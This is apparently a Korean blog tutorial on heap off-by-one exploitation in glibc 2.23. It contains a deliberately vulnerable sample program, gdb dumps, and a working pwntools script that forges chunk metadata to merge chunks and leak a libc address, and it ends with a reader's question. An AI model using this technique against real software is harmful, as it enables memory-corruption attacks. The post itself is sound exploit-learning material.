https://devel0pment.de/?p=688 포스팅을 참고하며 정리하는 글이다.
off-by-one은 1바이트의 널바이트 삽입으로 흐름을 조작하는 기법을 말한다.
다음과 같은 코드가 있다고 할 때
void main(){
char buf[size]="";
fgets(buf, size, stdin);
buf[size]= 0x00
배열의 끝 부분을 널 바이트로 저장하기 위해서는 인덱스로 size-1
을 사용해야 하지만, size
로 접근하고 있기 때문에 1바이트가 오버플로우 되는 상황이다.
dummy가 없이 스택의 buf
바로 위에 ebp
가 있다고 가정할 때, 마지막 코드에 의해 ebp
의 마지막 1바이트가 0x00으로 덮어써질 것이다.
덮어써진 0xffffff00이 buf
주소의 영역이라면 함수 에필로그에 의해 eip
가 내가 입력한 값으로 설정될 것이다.
힙의 구조와 힙에서 사용되는 알고리즘에 대해 알아야 한다.
다음 포스팅을 참고하자
https://velog.io/@woounnan/SYSTEM-Heap-Basics-Memory-structure
힙 영역에서 off-by-one을 이용하여 익스플로잇하는 취약점을 말한다. 취약한 bin의 구조를 이용하게 되는데, 라이브러리 버전별로 내용이 다르다.
따라서, 본 포스팅에서는 glibc-2.25
이하 버전에서 발생시키는 익스플로잇에 대해 다룰 것이며 목표는 libc-leak과 rip control이다.
취약점을 테스트한 구체적인 환경은 다음과 같다.
OS
root@ubuntu:/work# uname -a Linux ubuntu 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
libc
root@ubuntu:/work# ldd test linux-vdso.so.1 => (0x00007fff243f7000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc928388000) /lib64/ld-linux-x86-64.so.2 (0x00007fc928752000) root@ubuntu:/work# ls -al /lib/x86_64-linux-gnu/libc.so.6 lrwxrwxrwx 1 root root 12 Apr 18 2020 /lib/x86_64-linux-gnu/libc.so.6 -> libc-2.23.so
해당 취약점이 발생하기 위해서는 전제조건이 필요하다.
1.힙 영역에 할당과 해제, 데이터 쓰기 및 읽기가 가능해야 한다.
2.취약한 bin을 선택할 수 있어야 하므로 할당하는 사이즈 또한 설정가능하다면 좀 더 수월하다.
3.off-by-one이 발생하여야 한다.
이러한 조건을 만족하는 취약한 바이너리의 소스코드를 살펴보자.
/**
*
* heap.c
*
* sample program: heap off-by-one vulnerability
*
* gcc heap.c -pie -fPIE -Wl,-z,relro,-z,now -o heap
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define DELETE 1
#define PRINT 2
void create();
void process(unsigned int);
char *ptrs[10];
/**
* main-loop: print menu, read choice, call create/delete/exit
*/
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
while(1) {
unsigned int choice;
puts("1. create\n2. delete\n3. print\n4. exit");
printf("> ");
scanf("%u", &choice);
switch(choice) {
case 1: create(); break;
case 2: process(DELETE); break;
case 3: process(PRINT); break;
case 4: exit(0); break;
default: puts("invalid choice"); break;
}
}
}
/**
* creates a new chunk.
*/
void create() {
unsigned int i, size;
unsigned int idx = 10;
char buf[1024];
for (i = 0; i < 10; i++) {
if (ptrs[i] == NULL) {
idx = i;
break;
}
}
if (idx == 10) {
puts("no free slots\n");
return;
}
printf("\nusing slot %u\n", idx);
printf("size: ");
scanf("%u", &size);
if (size > 1023) {
puts("maximum size (1023 bytes) exceeded\n");
return;
}
printf("data: ");
size = read(0, buf, size);
buf[size] = 0x00;
ptrs[idx] = (char*)malloc(size);
strcpy(ptrs[idx], buf);
puts("successfully created chunk\n");
}
/**
* deletes or prints an existing chunk.
*/
void process(unsigned int action) {
unsigned int idx;
printf("idx: ");
scanf("%u", &idx);
if (idx > 10) {
puts("invalid index\n");
return;
}
if (ptrs[idx] == NULL) {
puts("chunk not existing\n");
return;
}
if (action == DELETE) {
free(ptrs[idx]);
ptrs[idx] = NULL;
puts("successfully deleted chunk\n");
}
else if (action == PRINT) {
printf("\ndata: %s\n", ptrs[idx]);
}
}
힙 영역을 할당해서 데이터를 쓰고 읽고, 해제가 가능한 프로그램이다.
데이터를 write하는 코드에서 off-by-one 취약점이 발생한다.
printf("size: ");
scanf("%u", &size);
if (size > 1023) {
puts("maximum size (1023 bytes) exceeded\n");
return;
}
printf("data: ");
size = read(0, buf, size);
buf[size] = 0x00;
데이터를 입력받아 힙 메모리에 복사하는 코드이다.
문제는 복사의 원본인 buf
의 값을 설정할 때
buf[size] = 0
size
인덱스로 접근하여 0을 설정하고 있기 때문에
실제로는 할당된 크키에 1바이트 오버플로우된 위치에 0을 저장하는 것이다.
만약 해당 청크 뒤에 또다른 청크가 할당되어 있다면, 이 오버플로우 되는 1바이트는 뒤에 있는 청크의 flag 값을 덮어쓰게 된다.
확인해보자.
create(0xf8, 'A'*0xf8) # chunk_AAA, idx = 0
create(0x68, 'B'*0x68) # chunk_BBB, idx = 1
create(0xf8, 'C'*0xf8) # chunk_CCC, idx = 2
create(0x10, 'D'*0x10) # chunk_DDD, idx = 3
총 4개의 청크를 할당하고
delete(1)
chunk_BBB를 삭제시킨 후
create(0x68, 'B'*0x68) # chunk_BBB, idx = 1
다시 똑같은 사이즈의 청크를 할당하면, free됬던 chunk_BBB
위치에 재할당될 것이다.
그리고 'B'라는 문자를 size만큼 입력했으므로 1바이트가 오버플로우되서
뒤에 존재하는 chunk_CCC
의 flag값이 0으로 덮어써질 것이다.
gdb-peda$ x/50gx 0x1f1a120
0x1f1a120: 0x4242424242424242 0x4242424242424242
0x1f1a130: 0x4242424242424242 0x4242424242424242
0x1f1a140: 0x4242424242424242 0x4242424242424242
0x1f1a150: 0x4242424242424242 0x4242424242424242
0x1f1a160: 0x4242424242424242 0x4242424242424242
0x1f1a170: 0x4242424242424242 0x4242424242424242
0x1f1a180: 0x4242424242424242 0x0000000000000100 # overwritten here
0x1f1a190: 0x4343434343434343 0x4343434343434343
0x1f1a1a0: 0x4343434343434343 0x4343434343434343
0x1f1a1b0: 0x4343434343434343 0x4343434343434343
0x1f1a1c0: 0x4343434343434343 0x4343434343434343
실제로 위의 디버깅 결과를 보면, chunk_BBB
가 할당되어있는 상태이므로 chunk_CCC
의 prev_inuse
플래그 값이 1로 설정되서 사이즈값 0x100 + 플래그값 1 = 0x101이 저장되어 있어야 하지만, 0x100이 존재한다.
이 취약점을 이용해서 이전 청크를 free된 것처럼 속일 수 있게 된다.
힙에서 연속된 청크가 모두 free 상태일 때, 힙에서는 이 청크들의 병합을 수행한다.
이 특징과 위의 off-by-one 취약점을 이용하여 할당되어있는 청크를 free된 청크로 속인 후, 실제 free된 청크와 병합시킬 수 있다.
병합시키는 목적은 무엇일까?
최종 목표는 libc의 주소를 얻는 것이다.
glibc-2.23
버전에서는 small bin 사이즈로 할당한 청크를 free시킬 경우, free된 청크의 fd
, bk
에 small bin의 주소가 저장된다.
이 값을 leak 시킬 경우 libc의 주소를 얻을 수 있게 된다.
하지만, vuln
코드를 보면 free 후에 해당 포인터를 초기화시키므로 free된 청크에 다시 접근해서 그 값을 출력할 수 없다.
따라서 실제로 할당되있는 chunk_BBB
를 free된 것처럼 속이고, 이 속인 chunk_BBB
뒤에 chunk_CCC
를 실제로 free시키면 이 두 개의 청크는 병합될 것이다.
그리고 앞에 위치한 chunk_BBB
에 small bin의 주소가 저장되고 chunk_BBB
는 할당되어있는 청크이므로 이 small bin의 주소값을 출력할 수 있게 된다.
하지만 우회해야할 변수가 존재한다.
malloc.c
의 free()
코드를 보면
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
처음에 prev_inuse
를 검사하여, 현재 free하는 청크의 이전 청크 또한 free된 청크일 경우 병합을 위해 사이즈 값을 더한다.
이는 앞서 살펴봤듯이, prev_inuse
가 조작가능한 값이기 때문에 문제없이 통과할 수 있다.
하지만, 마지막에 실행하는 unlink()
의 코드를 보면
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD;
먼저 prev_size
를 검사한다. (이것 역시 이후에 조작해야될 값이며, 쉽게 조작 가능하다.)
일치한다면 다음으로 fd
, bk
포인터의 값을 검사하게 되는데
지금까지 chunk_BBB
, chunk_CCC를
병합시킨 상황에서 위 조건을 검사한다면 해당 조건에서 필터되어 free()
는 에러를 발생시킬 것이다.
조작한 chunk_BBB
는 원래 free시킨 청크가 아니기 때문에 fd
, bk
가 가리키는 small bin에는 chunk_BBB
의 주소값이 저장되있지 않기 때문이다.
그렇기 때문에 시나리오를 변경해야 하며, chunk_AAA
를 추가하는 것으로 위의 조건을 우회할 수 있다.
1.
chunk_AAA
를 free 시켜 놓는다.
2.chunk_BBB
로 오버플로우 시킨다.
3.chunk_CCC
를 free 시킨다. 이것으로chunk_AAA
,chunk_BBB
,chunk_CCC
세 개의 청크가 병합될 것이다.
4.그리고fd
,bk
는chunk_AAA
에 위치하게 된다.
5.위의 조건을 검사한다. 하지만chunk_AAA
는 실제 free된 청크이므로 small bin에 주소가 저장되어있어, 이 조건을 통과할 수 있다.
그럼 이제 조건은 우회했다. 그러나 chunk_AAA
는 실제 free되었으므로 이곳에 저장된 small bin의 주소값을 출력할 수 없게 된다.
다행히 이것 또한 동일한 크기의 chunk_AAA
를 재할당하는 것으로 해결할 수 있다.
재할당하게 되면, 기존에 chunk_AAA
에 저장되어있던 fd
, bk
는 재할당된 크기만큼 밀려나게 된다. chunk_AAA
의 원래 크기만큼 재할당했으므로 밀려난 위치는 chunk_BBB
이다.
chunk_BBB
는 할당되어있는 청크이므로 이 값을 출력하여 libc 주소를 얻을 수 있다.
앞서 정리한 내용을 파이썬 스크립트로 실행하여 동작을 확인하겠다.
from pwn import *
p = process('./vuln')
def create(size, data):
p.sendlineafter('>', str(1))
p.sendlineafter('size: ', str(size))
p.sendlineafter('data: ', data)
def delete(idx):
p.sendlineafter('>', str(2))
p.sendlineafter('idx: ', str(idx))
def printData(idx):
p.sendlineafter('>', str(3))
p.sendlineafter('idx: ', str(idx))
p.recvuntil('data: ')
ret = p.recvuntil('\n')
return ret[:-1]
먼저 편의를 위해 각 기능을 실행하는 함수를 정의한다.
size_a = 0xf8
size_b = 0x68
size_c = 0xf8
create(size_a, 'A'*size_a) # chunk_AAA, idx = 0
create(size_b, 'B'*size_b) # chunk_BBB, idx = 1
create(size_c, 'C'*size_c) # chunk_CCC, idx = 2
create(0x10, 'D'*0x10) # chunk_DDD, idx = 3
처음에 청크를 4개 생성한다.
delete(1)
delete(0)
다음으로 chunk_AAA
와 chunk_BBB
를 free시킨다.
이 때 chunk_AAA
는 small bin, chunk_BBB
는 fast bin에 다르게 저장되므로 병합되지 않는다.
size_atob = size_a+8+size_b+8
for sz in range(size_b, size_b-7, -1):
delete(0)
create(sz, 'B'*(sz-2) + p32(size_atob)[:2])
chunk_BBB
를 다시 할당하여 chunk_CCC
의 prev_inuse
플래그를 오버플로우 시키고, 마지막 chunk_BBB
의 8바이트에는 prev_size
값을 계산하여, chunk_AAA
와 chunk_BBB
크기의 합을 저장시킨다.
(chunk_AAA
는 0x100 chunk_BBB
는 0x70이므로 저장해야 하는 값은 0x170이다.)
한 가지 주의할 점은, prev_size
가 위치할 마지막 8바이트의 값은 '\x70\x01\x00\x00\x00\x00\x00\x00'이지만, 복사에 사용되는 함수가 널 바이트로 문자열의 끝을 구분하는 strcpy()
이기 때문에 널바이트를 넣어줄 수 없다.
따라서 최대길이부터 하나씩 줄여나가면서 데이터를 삽입하여 우리가 원하는 데이터를 입력해주어야 한다.
delete(2)
create(size_a-2, 'A'*(size_a-2))
addr_bin = int(printData(0)[::-1].encode('hex'),16)
print 'libc: ' + hex(addr_bin)
값을 모두 세팅한 후에는 chunk_CCC
를 free시키고 chunk_AAA
를 재할당해서 fd
, bk
가 chunk_BBB
에 위치하도록 만든다.
그리고 chunk_BBB
를 출력하여 libc
의 주소를 획득한다.
root@ubuntu:/work# python ex.py
[+] Starting local process './vuln': pid 51268
libc: 0x7ffff7dd1b78
죄송합니다만 질문하나 하겠습니다. chunk_AAA를 할당할때 사이즈를 0xf8로 하신것은 따로 이유가 있으신건가요?